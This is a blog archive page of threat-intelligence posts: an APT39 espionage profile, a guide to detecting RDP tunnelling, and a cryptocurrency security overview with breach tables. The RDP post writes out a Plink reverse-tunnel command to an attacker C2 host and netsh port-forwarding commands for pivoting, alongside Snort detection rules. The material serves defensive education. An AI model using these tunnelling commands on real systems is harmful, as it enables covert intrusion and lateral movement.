Monthly Archives: January 2019

42 – Revolution on the Ground, Paradigm Shifts and the Convergence of Satellite and Terrestrial Networking

The space industry is evolving at a rapid pace as seen by the flurry of new technologies being announced on almost a weekly basis. These new technologies include the emergence of high throughput satellites (HTS) and the launch of LEO mega-constellations which have brought unprecedented flexibility and bandwidth to the marketplace. However these new capabilities require innovation on the ground to ease management and minimize the explosion in costs. Lluc Palerm Serra, Senior Analyst at NSR explains how a paradigm shift is needed in the satellite ground segment and how this shift towards new advanced networking capabilities has the potential to facilitate convergence between satellite and terrestrial networks.  

APT39: An Iranian Cyber Espionage Group Focused on Personal Information

In December 2018, FireEye identified APT39 as an Iranian cyber espionage group responsible for widespread theft of personal information. We have tracked activity linked to this group since November 2014 in order to protect organizations from APT39 activity to date. APT39’s focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks, which have been linked to influence operations, disruptive attacks, and other threats. APT39 likely focuses on personal information to support monitoring, tracking, or surveillance operations that serve Iran’s national priorities, or potentially to create additional accesses and vectors to facilitate future campaigns. 

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as “Chafer.” However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39’s targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry. The countries and industries targeted by APT39 are depicted in Figure 1.

Figure 1: Countries and industries targeted by APT39

Operational Intent

APT39’s focus on the telecommunications and travel industries suggests intent to perform monitoring, tracking, or surveillance operations against specific individuals, collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities, or create additional accesses and vectors to facilitate future campaigns. Government entities targeting suggests a potential secondary intent to collect geopolitical data that may benefit nation-state decision making. Targeting data supports the belief that APT39’s key mission is to track or monitor targets of interest, collect personal information, including travel itineraries, and gather customer data from telecommunications firms.

Iran Nexus Indicators

We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East, infrastructure, timing, and similarities to APT34, a group that loosely aligns with activity publicly reported as “OilRig”. While APT39 and APT34 share some similarities, including malware distribution methods, POWBAT backdoor use, infrastructure nomenclature, and targeting overlaps, we consider APT39 to be distinct from APT34 given its use of a different POWBAT variant. It is possible that these groups work together or share resources at some level.

Attack Lifecycle

APT39 uses a variety of custom and publicly available malware and tools at all stages of the attack lifecycle.

Initial Compromise

For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection. APT39 frequently registers and leverages domains that masquerade as legitimate web services and organizations that are relevant to the intended target. Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources.

Establish Foothold, Escalate Privileges, and Internal Reconnaissance

Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH.

Lateral Movement, Maintain Presence, and Complete Mission

APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc. Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts. In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment. To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip.

Figure 2: APT39 attack lifecycle

There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity’s environment to avoid detection.

Outlook

We believe APT39’s significant targeting of the telecommunications and travel industries reflects efforts to collect personal information on targets of interest and customer data for the purposes of surveillance to facilitate future operations. Telecommunications firms are attractive targets given that they store large amounts of personal and customer information, provide access to critical infrastructure used for communications, and enable access to a wide range of potential targets across multiple verticals. APT39’s targeting not only represents a threat to known targeted industries, but it extends to these organizations’ clientele, which includes a wide variety of sectors and individuals on a global scale. APT39’s activity showcases Iran’s potential global operational reach and how it uses cyber operations as a low-cost and effective tool to facilitate the collection of key data on perceived national security threats and gain advantages against regional and global rivals.

Bypassing Network Restrictions Through RDP Tunneling

Remote Desktop Services is a component of Microsoft Windows that is used by various companies for the convenience it offers systems administrators, engineers and remote employees. On the other hand, Remote Desktop Services, and specifically the Remote Desktop Protocol (RDP), offers this same convenience to remote threat actors during targeted system compromises. When sophisticated threat actors establish a foothold and acquire ample logon credentials, they may switch from backdoors to using direct RDP sessions for remote access. When malware is removed from the equation, intrusions become increasingly difficult to detect.

RDPing Against the Rules

Threat actors continue to prefer RDP for the stability and functionality advantages over non-graphical backdoors, which can leave unwanted artifacts on a system. As a result, FireEye has observed threat actors using native Windows RDP utilities to connect laterally across systems in compromised environments. Historically, non-exposed systems protected by a firewall and NAT rules were generally considered not to be vulnerable to inbound RDP attempts; however, threat actors have increasingly started to subvert these enterprise controls with the use of network tunneling and host-based port forwarding.

Network tunneling and port forwarding take advantage of firewall “pinholes” (ports not protected by the firewall that allow an application access to a service on a host in the network protected by the firewall) to establish a connection with a remote server blocked by a firewall. Once a connection has been established to the remote server through the firewall, the connection can be used as a transport mechanism to send or “tunnel” local listening services (located inside the firewall) through the firewall, making them accessible to the remote server (located outside the firewall), as shown in Figure 1.

Figure 1: Enterprise firewall bypass using RDP and network tunneling with SSH as an example

Inbound RDP Tunneling

A common utility used to tunnel RDP sessions is PuTTY Link, commonly known as Plink. Plink can be used to establish secure shell (SSH) network connections to other systems using arbitrary source and destination ports. Since many IT environments either do not perform protocol inspection or do not block SSH communications outbound from their network, attackers such as FIN8 have used Plink to create encrypted tunnels that allow RDP ports on infected systems to communicate back to the attacker command and control (C2) server.

Example Plink Executable Command: plink.exe <users>@<IP or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389

Figure 2 provides an example of a successful RDP tunnel created using Plink, and Figure 3 provides an example of communications being sent through the tunnel using port forwarding from the attacker C2 server.

Figure 2: Example of successful RDP tunnel created using Plink

Figure 3: Example of successful port forwarding from the attacker C2 server to the victim

It should be noted that for an attacker to be able to RDP to a system, they must already have access to the system through other means of compromise in order to create or access the necessary tunneling utility. For example, an attacker’s initial system compromise could have been the result of a payload dropped from a phishing email aimed at establishing a foothold into the environment, while simultaneously extracting credentials to escalate privileges. RDP tunneling into a compromised environment is one of many access methods typically used by attackers to maintain their presence in an environment.

Jump Box Pivoting

Not only is RDP the perfect tool for accessing compromised systems externally, RDP sessions can be daisy chained across multiple systems as a way to move laterally through an environment. FireEye has observed threat actors using the native Windows Network Shell (netsh) command to utilize RDP port forwarding as a way to access newly discovered segmented networks reachable only through an administrative jump box.

Example netsh Port Forwarding Command: netsh interface portproxy add v4tov4 listenport=8001 listenaddress=<JUMP BOX IP> connectport=3389 connectaddress=<DESTINATION IP> Example Shortened netsh Port Forwarding Command: netsh I p a v l=8001 listena=<JUMP BOX IP> connectp=3389 c=<DESTINATION IP>

For example, a threat actor could configure the jump box to listen on an arbitrary port for traffic being sent from a previously compromised system. The traffic would then be forwarded directly through the jump box to any system on the segmented network using any designated port, including the default RDP port TCP 3389. This type of RDP port forwarding gives threat actors a way to utilize a jump box’s allowed network routes without disrupting legitimate administrators who are using the jump box during an ongoing RDP session. Figure 4 provides an example of RDP lateral movement to a segmented network via an administrative jump box.

Figure 4: Lateral Movement via RDP using a jump box to a segmented network

Prevention and Detection of RDP Tunneling

If RDP is enabled, threat actors have a way to move laterally and maintain presence in the environment through tunneling or port forwarding. To mitigate vulnerability to and detect these types of RDP attacks, organizations should focus on both host-based and network-based prevention and detection mechanisms. For additional information see the FireEye blog post on establishing a baseline for remote desktop protocol.

Host-Based Prevention:

• Remote Desktop Service: Disable the remote desktop service on all end-user workstations and systems for which the service is not required for remote connectivity.
• Host-based Firewalls: Enable host-based firewall rules that explicitly deny inbound RDP connections.
• Local Accounts: Prevent the use of RDP using local accounts on workstations by enabling the “Deny log on through Remote Desktop Services” security setting.

Host-Based Detection:

Registry Keys:

• Review registry keys associated with Plink connections that can be abused by RDP session tunneling to identify unique source and destination systems. By default, both PuTTY and Plink store session information and previously connected ssh servers in the following registry keys on Windows systems:
  • HKEY_CURRENT_USERSoftwareSimonTathamPuTTY
  • HKEY_CURRENT_USERSoftWareSimonTathamPuTTYSshHostKeys
• Similarly, the creation of a PortProxy configuration with netsh is stored with the following Windows registry key:
  • HKEY_CURRENT_USERSYSTEMCurrentControlSetServicesPortProxyv4tov4
• Collecting and reviewing these registry keys can identify both legitimate SSH and unexpected tunneling activity. Additional review may be needed to confirm the purpose of each artifact.

Event Logs:

• Review event logs for high-fidelity logon events. Common RDP logon events are contained in the following event logs on Windows systems:
  • %systemroot%WindowsSystem32winevtLogsMicrosoft-TerminalServices-LocalSessionmanager%3Operational.evtx
  • %systemroot%WindowsSystem32winevtLogsSecurity.evtx
• The “TerminalServices-LocalSessionManager” log contains successful interactive local or remote logon events as identified by EID 21 and successful reconnection of a previously established RDP session not terminated by a proper user logout as identified by EID 25. The “Security” log contains successful Type 10 remote interactive logons (RDP) as identified by EID 4624. A source IP address recorded as a localhost IP address (127.0.0.1 – 127.255.255.255) may be indicative of a tunneled logon routed from a listening localhost port to the localhost’s RDP port TCP 3389.

Review your artifacts of execution for “plink.exe” file execution. Note that attackers can rename the file name to avoid detection. Relevant artifacts include, but are not limited to:

• Application Compatibility Cache/Shimcache
• Amcache
• Jump Lists
• Prefetch
• Service Events
• CCM Recently Used Apps from the WMI repository
• Registry keys

Network-Based Prevention:

• Remote Connectivity: Where RDP is required for connectivity, enforce the connection to be initiated from a designated jump box or centralized management server.
• Domain Accounts: Employ the “Deny log on through Remote Desktop Services” security setting for privileged accounts (e.g. domain administrators) and service accounts, as these types of accounts are commonly used by threat actors to laterally move to sensitive systems in an environment.

Network-Based Detection:

• Firewall Rules: Review existing firewall rules to identify areas of vulnerability to port forwarding. In addition to the potential use of port forwarding, monitoring for internal communications between workstations in the environment should be conducted. Generally, workstations do not have a need to communicate with one another directly and Firewall rules can be used to prevent any such communication, except where needed.
• Network Traffic: Perform content inspection of network traffic. Not all traffic communicating on a given port is what it appears to be. For example, threat actors may use TCP ports 80 or 443 to establish an RDP tunnel with a remote server. Deep inspection of the network traffic can likely reveal that it is not actually HTTP or HTTPS, but entirely different traffic all together. Therefore, organizations should closely monitor their network traffic.
• Snort Rules: The main indicator of tunneled RDP occurs when the RDP handshake has a designated low source port generally used for another protocol. Figure 5 provides two sample Snort rules that can help security teams identify RDP tunneling in their network traffic by identifying designated low source ports generally used for other protocols.

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP – HANDSHAKE [Tunneled msts]”; dsize:<65; content:”|03 00 00|”; depth:3; content:”|e0|”; distance:2; within:1; content:”Cookie: mstshash=”; distance:5; within:17; sid:1; rev:1;)

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP – HANDSHAKE [Tunneled]”; flow:established; content:”|c0 00|Duca”; depth:250; content:”rdpdr”; content:”cliprdr”; sid:2; rev:1;)

Figure 5: Sample Snort Rules to identify RDP tunneling

Conclusion

RDP enables IT environments to offer freedom and interoperability to users. But with more and more threat actors using RDP to move laterally across networks with limited segmentation, security teams are being challenged to decipher between legitimate and malicious RDP traffic. Therefore, adequate host-based and network-based prevention and detection methods should be taken to actively monitor for and be able to identify malicious RDP usage.

Cryptocurrency and Blockchain Networks: Facing New Security Paradigms

On Jan. 22, FireEye participated in a panel focused on cryptocurrencies and blockchain technology during the World Economic Forum. The panel addressed issues raised in a report developed by FireEye, together with our partner Marsh & McLennan (a global professional services firm) and Circle (a global crypto finance company). The report touched on some of the security considerations around crypto-assets – today and in the future, and in this blog post, we delve deeper into the security paradigms surrounding cryptocurrencies and blockchain networks.

First, some background that will provide context for this discussion.

Cryptocurrencies – A Primer

By its simplest definition, cryptocurrency is digital money that operates on its own decentralized transaction network. When defined holistically, many argue that cryptocurrencies and their distributed ledger (blockchain) technology is powerful enough to radically change the basic economic pillars of society and fundamentally alter the way our systems of trust, governance, trade, ownership, and business function. However, the technology is new, subject to change, and certain headwinds related to scalability and security still need to be navigated. It is safe to assume that the ecosystem we have today will evolve. Since the final ecosystem is yet to be determined, as new technology develops and grows in user adoption, the associated risk areas will continually shift – creating new cyber security paradigms for all network users to consider, whether you are an individual user of cryptocurrency, a miner, a service-provider (e.g., exchange, trading platform, or key custodian), a regulator, or a nation-state with vested political interest.

Malicious actors employ a wide variety of tactics to steal cryptocurrencies. These efforts can target users and their wallets, exchanges and/or key custodial services, and underlying networks or protocols supporting cryptocurrencies. FireEye has observed successful attacks that steal from users and cryptocurrency exchanges over the past several years. And while less frequent, attacks targeting cryptocurrency networks and protocols have also been observed. We believe cryptocurrency exchanges and/or key custodial services are, and will continue to be, attractive targets for malicious operations due to the potentially large profits, their often-lax physical and network security, and the lack of regulation and oversight.

This blog post will highlight some of the various risk areas to consider when developing and adopting cryptocurrency and blockchain technology.

Wallet & Key Management

Public and Private Keys

There are two types of keys associated with each wallet: a public key and a private key. Each of these keys provides a different function, and it is the security of the private key that is paramount to securing cryptocurrency funds.

The private key is a randomly generated number used to sign transactions and spend funds within a specific wallet, and the public key (which is derived from the private key) is used to generate a wallet address to which they can receive funds.

Figure 1: Private key, public key, and address generation flow

The private key must be kept secret at all times and, unfortunately, revealing it to third-parties (or allowing third-parties to manage and store private keys) increases convenience at the expense of security. In fact, some of the most high-profile exchange breaches have occurred in large part due to a lack of operational controls relating to the storage of private keys. Maintaining the confidentiality, integrity, and availability of private keys requires fairly robust controls.

However, from an individual user perspective, a large number of user-controlled software wallet solutions store the private and public keys in a wallet file on the user’s hard drive that is located in a well-known directory, making it an ideal target for actors that aim to steal private keys. Easily available tools such as commercial keyloggers and remote access tools (RATs) can be used to steal funds by stealing (or making copies of) a user’s wallet file. FireEye has observed myriad malware families, traditionally aimed at stealing banking credentials, incorporate the ability to target cryptocurrency wallets and online services. FireEye Intelligence subscribers may be familiar with this already, as we’ve published about these malware families use in targeting cryptocurrency assets on our FireEye Intelligence Portal. The following are some of the more prominent crimeware families we have observed include such functionality:

• Atmos
• Dridex
• Gozi/Ursnif
• Ramnit
• Terdot
• Trickbot
• ZeusPanda/PandaBot
• IcedID
• SmokeLoader
• Neptune EK
• BlackRuby Ransomware
• Andromeda/Gamarue
• ImminentMonitor RAT
• jRAT
• Neutrino
• Corebot

Wallet Solutions

By definition, cryptocurrency wallets are used to store a user’s keys, which can be used to unlock access to the funds residing in the associated blockchain entry (address). Several types of wallets exist, each with their own level of security (pros) and associated risks (cons). Generally, wallets fall into two categories: hot (online) and cold (offline).

Hot Wallets

A wallet stored on a general computing device connected to the internet is often referred to as a “hot” wallet. This type of storage presents the largest attack surface and is, consequently, the riskiest way to store private keys. Types of hot wallets typically include user-controlled and locally stored wallets (also referred to as desktop wallets), mobile wallets, and web wallets. If remote access on any hot wallet device occurs, the risk of theft greatly increases. As stated, many of these solutions store private keys in a well-known and/or unencrypted location, which can make for an attractive target for bad actors. While many of these wallet types offer the user high levels of convenience, security is often the trade-off.

Wallet Type	Examples
Desktop	Bitcoin Core Atomic Exodus Electrum Jaxx
Mobile	BRD Infinito Jaxx Airbitz Copay Freewallet
Web	MyEtherWallet MetaMask Coinbase BTC Wallet Blockchain.info

Table 1: Types of hot wallets

If considering the use of hot wallet solutions, FireEye recommends some of the following ways to help mitigate risk:

• Use two-factor authentication when available (as well as fingerprint authentication where applicable).
• Use trong passwords.
• Ensure that your private keys are stored encrypted (if possible).
• Consider using an alternative or secondary device to access funds (like a secondary mobile device or computer not generally used every day) and kept offline when not in use.

Cold Wallets

Offline, also called cold wallets, are those that generate and store private keys offline on an air-gapped computer without network interfaces or connections to the outside internet. Cold wallets work by taking the unsigned transactions that occur online, transferring those transactions offline to be verified and signed, and then pushing the transactions back online to be broadcasted onto the Bitcoin network. Managing private keys in this way is considered to be more secure against threats such as hackers and malware. These types of offline vaults used for storing private keys is becoming the industry security standard for key custodians such as Coinbase, Bittrex, and other centralized cryptocurrency companies. Even recently, Fidelity Investments released a statement regarding their intentions to play an integral part of the Bitcoin’s custodial infrastructure landscape.

“Fidelity Digital Assets will provide a secure, compliant, and institutional-grade omnibus storage solution for bitcoin, ether and other digital assets. This consists of vaulted cold storage, multi-level physical and cyber controls – security protocols that have been created leveraging Fidelity’s time-tested security principles and best practices combined with internal and external digital asset experts.”

-Fidelity Investments                                

While more security-conscious exchanges employ this type of key storage for their users, cold wallets are still susceptible to exploitation:

• In November 2017, ZDnet published an article describing four methods hackers use to steal data from air-gapped computers through what they call “covert channels.” These channels can be broken down into four groups:
  • Electromagnetic
  • Acoustic
  • Thermal
  • Optical
• In addition to those four types of attacks, WikiLeaks revealed, as part of its ongoing Vault 7 leak, a tool suite (dubbed Brutal Kangaroo, formerly EZCheese) allegedly used by the CIA for targeting air-gapped networks.
• In February 2018, security researchers with the Cybersecurity Research Center at Israel’s Ben-Gurion University made use of a proof-of-concept (PoC) malware that allowed for the exfiltration of data from computers placed inside a Faraday cage (an enclosure used to block electromagnetic fields). According to their research, attackers can exfiltrate data from any infected computer, regardless if air-gapped or inside a Faraday cage. The same group of researchers also revealed additional ways to exploit air-gapped computers:
  • aIR-Jumper attack that steals sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision
  • USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors
  • DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer
  • BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys
  • AirHopper that turns a computer’s video card into an FM transmitter to capture keystrokes
  • Fansmitter technique that uses noise emitted by a computer fan to transmit data
  • GSMem attack that relies on cellular frequencies
  • PowerHammer, a malware that leverages power lines to exfiltrate data from air-gapped computers.

Hardware Wallets

Hardware wallets are typically a small peripheral device (such as USB drives) used to generate and store keys, as well as verify and sign transactions. The device signs the transactions internally and only transmits the signed transactions to the network when connected to a networked computer. It is this separation of the private keys from the vulnerable online environment that allows a user to transact on the blockchain with reduced risk.

However, hardware wallets are susceptible to exploitation as well, such as man-in-the-middle (MitM) supply chain attacks, wherein a compromised device is purchased. Such an event obstenibly occurred in early 2018, when an individual purchased a compromised Nano Ledger off of eBay, and consequently lost $34,000 USD worth of cryptocurrency stored on the device as the attacker created their own recovery seed to later retrieve the funds stored on the device. In order to trick the victim, the attacker included a fake recovery seed form inside the compromised device packaging (as seen in Figure 2).

Figure 2: Fraudulent recovery seed document for Ledger Nano (image source: Reddit)

To help mitigate the risk of such an attack, FireEye recommends only purchasing a hardware wallet from the manufacturer directly or through authorized resellers.

In addition to supply-chain attacks, security researchers with Wallet.fail have recently disclosed two vulnerabilities in the Ledger Nano S device. One of these vulnerabilities allows an attacker to execute arbitrary code from the boot menu, and the other allows physical manipulation without the user knowing due to a lack of tamper evidence. In both cases, physical access to the device is required, and thus deemed less likely to occur if proper physical security of the device is maintained and unauthorized third-party purchasing is avoided.

Paper Wallets

Typically, wallet software solutions hide the process of generating, using, and storing private keys from the user. However, a paper wallet involves using an open-source wallet generator like BitAddress[.]org and WalletGenerator[.]net to generate the user’s public and private keys. Those keys are then printed to a piece of paper. While many view this form of key management as more secure because the keys do not reside on a digital device, there are still risks.

Because the private key is printed on paper, theft, loss, and physical damage present the highest risk to the user. Paper wallets are one of the only forms of key management that outwardly display the private key in such a way and should be used with extreme caution. It is also known that many printers keep a cache of printed content, so the possibility of extracting printed keys from exploited printers should also be considered.

Exchanges & Key Custodians

According to recent Cambridge University research, in 2013 there were approximately 300,000 to 1.3 million users of cryptocurrency. By 2017 there were between 2.9 million and 5.8 million users. To facilitate this expedited user growth, a multitude of companies have materialized that offer services enabling user interaction with the various cryptocurrency networks. A majority of these businesses function as an exchange and/or key custodians. Consequently, this can make the organization an ideal candidate for intrusion activity, whether it be spear phishing, distributed denial of service (DDoS) attacks, ransomware, or extortion threats (from both internal and external sources).

Many cryptocurrency exchanges and services around the world have reportedly suffered breaches and thefts in recent years that resulted in substantial financial losses and, in many cases, closures (Figure 3). One 2013 study found that out of 40 bitcoin exchanges analyzed, over 22 percent had experienced security breaches, forcing 56 percent of affected exchanges to go out of business.

Figure 3: Timeline of publicly reported cryptocurrency service compromises

Some of the more notable cryptocurrency exchange attacks that have been observed are as follows:

Time Frame	Entity	Description
July 2018	Bancor	Bancor admitted that unidentified actors compromised a wallet that was used to upgrade smart contracts. The actors purportedly withdrew 24,984 ETH tokens ($12.5 million USD) and 229,356,645 NPXS (Pundi X) tokens (approximately $1 million USD). The hackers also stole 3,200,000 of Bancor’s own BNT tokens (approximately $10 million USD). Bancor did not comment on the details of the compromise or security measures it planned to introduce.
June 2018	Bithumb	Attackers stole cryptocurrencies worth $30 million USD from South Korea’s largest cryptocurrency exchange, Bithumb. According to Cointelegraph Japan, the attackers hijacked Bithumb’s hot (online) wallet.
June 2018	Coinrail	Coinrail admitted there was a “cyber intrusion” in its system and an estimated 40 billion won ($37.2 million USD) worth of coins were stolen. Police are investigating the breach, but no further details were released.
February 2018	BitGrail	BitGrail claimed $195 million USD worth of customers’ cryptocurrency in Nano (XRB) was stolen.
January 2018	Coincheck	Unidentified attackers stole 523 million NEM coins (approximately $534 million USD) from the exchange’s hot wallet. Coincheck stated that NEM coins were kept on a single-signature hot wallet rather than a more secure multi-signature wallet and confirmed that stolen coins belonged to Coincheck customers.
July 2017	Coindash	Unidentified actors reportedly stole $7.4 million USD from users attempting to invest during a Coindash (app platform) ICO. Coindash, which offers a trading platform for ether, launched its ICO by posting an Ethereum address to which potential investors could send funds. However, malicious actors compromised the website and replaced the legitimate address with their own ether wallet address. Coindash realized the manipulation and warned users only three minutes after the ICO began, but multiple individuals had already sent funds to the wrong wallet. This incident was the first known compromise of an ICO, which indicates the persistent creativity of malicious actors in targeting cryptocurrencies.
June 2017	Bithumb	Bithumb, a large exchange for ether and bitcoin, admitted that malicious actors stole a user database from a computer of an employee that allegedly includes the names, email addresses, and phone numbers of more than 31,800 customers. Bithumb stated that its internal network was not compromised. Bithumb suggested that actors behind this compromise used the stolen data to conduct phishing operations against the exchange’s users in an attempt to steal currency from its wallets, allegedly stealing cryptocurrency worth more than $1 million USD.
April 2017	Yapizon	Unidentified actor(s) reportedly compromised four hot wallets belonging to a South Korean Bitcoin exchange, Yapizon, and stole more than 3,816 bitcoins (approximately $5 million USD). The identity of the responsible actor(s) and the method used to access the wallets remain unknown. However, Yapizon stated that there was no insider involvement in this incident.
August 2016	Bitfinex	Malicious actor(s) stole almost 120,000 bitcoins ($72 million USD at the time), from clients’ accounts at Bitfinex, an exchange platform in Hong Kong. How the breach occurred remains unknown, but the exchange made some changes to its systems after regulatory scrutiny. However, some speculate that complying with the regulators’ recommendations made Bitfinex vulnerable to theft.
May 2016	Gatecoin	The Hong Kong-based Gatecoin announced that as much as $2 million USD in ether and bitcoin were lost following an attack that occurred over multiple days. The company claimed that a malicious actor altered its system so ether deposit transfers went directly to the attacker’s wallet during the breach.
February 2015	KipCoin	The Chinese exchange KipCoin announced that an attacker gained access to its server in 2014 and downloaded the wallet.dat file. The malicious actor stole more than 3,000 bitcoins months later.
February 2015	BTER	BTER announced via its website that it lost 7,170 bitcoins, ($1.75 million USD at the time). The company claimed that the bitcoins were stolen from its cold wallet.
December 2015	Bitstamp	Bitstamp reported that multiple operational wallets were compromised, which resulted in the loss of 19,000 bitcoins. The company received multiple phishing attempts in the months prior to the theft. One employee allegedly downloaded a malicious file that gave the attacker access to servers that contained the wallet.dat file and passphrase for the company’s hot wallet.
August 2014	BTER	The China-based exchange BTER claimed that an attacker stole 50 million NXT, ($1.65 million USD at the time). The company claims the theft was possible following an attack on one of its hosting servers. The company reportedly negotiated the return of 85 percent of the stolen funds from the attacker.
July 2014	MintPal	MintPal admitted that an attacker accessed 8 million VeriCoins ($1.8 million USD) in the company’s hot wallet. The attackers exploited a vulnerability in its withdrawal system that allowed them to bypass security controls to withdraw the funds.
Early 2014	Mt. Gox	Mt. Gox, one of the largest cryptocurrency exchanges, filed for bankruptcy following a theft of 850,000 bitcoins (approximately $450 million USD at the time) and more than $24 million USD from its bank accounts. A bug in the exchange’s system that went unidentified for years allegedly enabled this compromise. Additionally, some speculated that an insider could have conducted the theft. Notably, recent reports revolving around the arrest of the founder of BTC-e (Alexander Vinnik) suggest he was responsible for the attack on Mt. Gox.

Table 2: Sample of observed exchange breaches

As little oversight is established for cryptocurrency exchanges and no widely accepted security standards exist for them, such incidents will likely persist. Notably, while these incidents may involve outsiders compromising exchanges’ and services’ systems, many of the high-profile compromises have also sparked speculations that insiders have been involved.

Software Bugs

While there has yet to be an in-the-wild attack that has caused significant harm to the Bitcoin network itself, remember the Bitcoin software is just that: software. Developers have identified 30 common vulnerabilities and exposures (CVEs) since at least 2010, many of which could have caused denial of service attacks on the network, exposure of user information, degradation of transaction integrity, or theft of funds.

The most recent software bug was a transaction validation bug that affected the consensus rules; essentially allowing miners to create transactions that weren’t properly validated and contained an extra input – which could have ultimately been exploited to create an amount of bitcoin from nothing. This vulnerability went unnoticed for two years, and fortunately was responsibly disclosed.

Running any peer-to-peer (P2P) or decentralized and distributed software is risky because each individual user has the responsibility to upgrade software when bugs are found. The more people who fail to update their software in a timely manner, the greater the chance of those nodes being exploited or used to attack the network.

Scaling & Attack Surface

At the time of this post, scaling blockchain networks to the size required to support a truly global payment system still presents a problem for the new technology and is an area of contention among developers and industry players. To address this, many developers are working on various scaling solutions. The following are some of the proposed solutions and the risks associated with each:

On-chain Scaling

One proposed suggestion is to increase the block size, which consequently shifts the cost of scaling to miners and those who operate nodes. Some argue that this could introduce the risk of centralization, because the only larger organizations that can meet the bandwidth and storage demands of ever-increasing block sizes can support this type of solution.

Off-chain Scaling

Some of the more popular blockchain scaling solutions for crypto-assets often depend on layering networks and system architectures on top of the base protocol – also referred to as “layer two” (L2) scaling. This allows users to conduct transactions “off-chain” and only occasionally synchronize them with the Bitcoin blockchain. Many argue that this is similar to how legal contracts are enforced; you don’t need to go to court each time a legal contract is written, agreed upon, and executed. And this is something that already occurs frequently in Bitcoin, as the vast majority of transactions happen offline and off-chain within large exchanges’ and merchant providers’ cold storage solutions.

However, two choices for off-chain scaling exist:

Off-chain Private Databases

This solution involves pushing transactions off-chain to a privately managed database where transaction can be settled and then occasionally synced with the Bitcoin blockchain. However, in creating this second layer of private “off-chain” transaction processing, an element of trust is introduced to the system, which unfortunately introduces risk. When transactions occur “off-chain” in a centralized private database, there is risk of improperly secured centralized ledgers that can be falsified or targeted for attack.

Off-chain Trustless Payment Channels

Another L2 solution would be to push transactions off-chain – not onto a private database, but to a trustless decentralized routing network. There are two primary L2 solutions being developed: The Liquid Network (for Bitcoin) and Raiden (for Ethereum).

However, a critique of this type of scaling solution is that the accounts used on this layer are considered hot wallets, which presents the largest attack surface. This makes it the riskiest way to store funds while also creating a valuable target for hackers. If an attacker is able to identify and access a user’s L2 node and associated wallet, they could transmit all funds out of the user’s wallet.

Lightning and Raiden as scaling solutions are still relatively new and experimental, so it’s unknown whether the they will be globally accepted as the preferred industry scaling solution. Additionally, because this layered development is still new and not widely implemented, at the time of this post there has not yet been an instance or proof of concept attack against L2 networks.

Network & Protocol Attacks

Actors may also attempt to directly exploit a cryptocurrency P2P network or cryptographic protocol to either steal cryptocurrency or disrupt a cryptocurrency network. Albeit rare, successful attacks of this nature have been observed. Examples of attack vectors that fall into this category include the following:

51% Attack

The 51% attack refers to the concept that if a single malicious actor or cohesive group of miners controlled more than 50 percent of the computing capability validating a cryptocurrency’s transactions, they could reverse their own transactions or prevent transactions from being validated. While previously considered theoretical, 51% attacks have been recently observed:

• In early April 2018, the cryptocurrency Verge reportedly suffered a 51% attack, which resulted in the attacker being able to mine 1,560 Verge coins (XVG) every second for a duration of three hours.
• In May 2018, developers notified various cryptocurrency exchanges of a 51% attack on Bitcoin Gold. According to a report by Bitcoinist, the attack cost exchanges nearly $18 million.
• Following the Bitcoin Gold attack, in June 2018, ZenCash became another target of the 51% attack, in which attackers siphoned $550,000 USD worth of currency from exchanges.

Companies such as NiceHash offer a marketplace for cryptocurrency cloud mining in which individuals can rent hashing power. Couple the information available from sites like Crypto51, which calculates the cost of performing 51% attacks, and it presents an attractive option for criminals seeking to disrupt cryptocurrency networks. While these types of attacks have been observed, and are no longer theoretical, they have historically posed the most risk to various alt-coins with lower network participation and hash rate. Larger, more robust, proof-of-work (PoW) networks are less likely to be affected, as the cost to perform the attack outweighs potential profit.

We anticipate that as long as the cost to perform the 51% attack and the likelihood of getting caught remains low, while the potential profit remains high, actors will continue showing interest in these types of attacks across less-robust cryptocurrency networks. 

Sybil Attack

A Sybil attack occurs when a single node claims to be multiple nodes on the P2P network, which many see as one of the greatest security risks among all large-scale, peer-to-peer networks. A notable Sybil attack (in conjunction with a traffic confirmation attack) against the Tor anonymity network occurred in 2014, spanned the course of five months, and was conducted by unknown actors.

As it pertains to cryptocurrency networks in particular, attackers performing this type of attack could perform the following:

• Block honest users from the network by outnumber honest nodes on the network, and refusing to receive or transmit blocks.
• Change the order of transactions, prevent them from being confirmed, or even reverse transactions that can lead to double spending by controlling a majority of the network computing power in large-scale attacks.

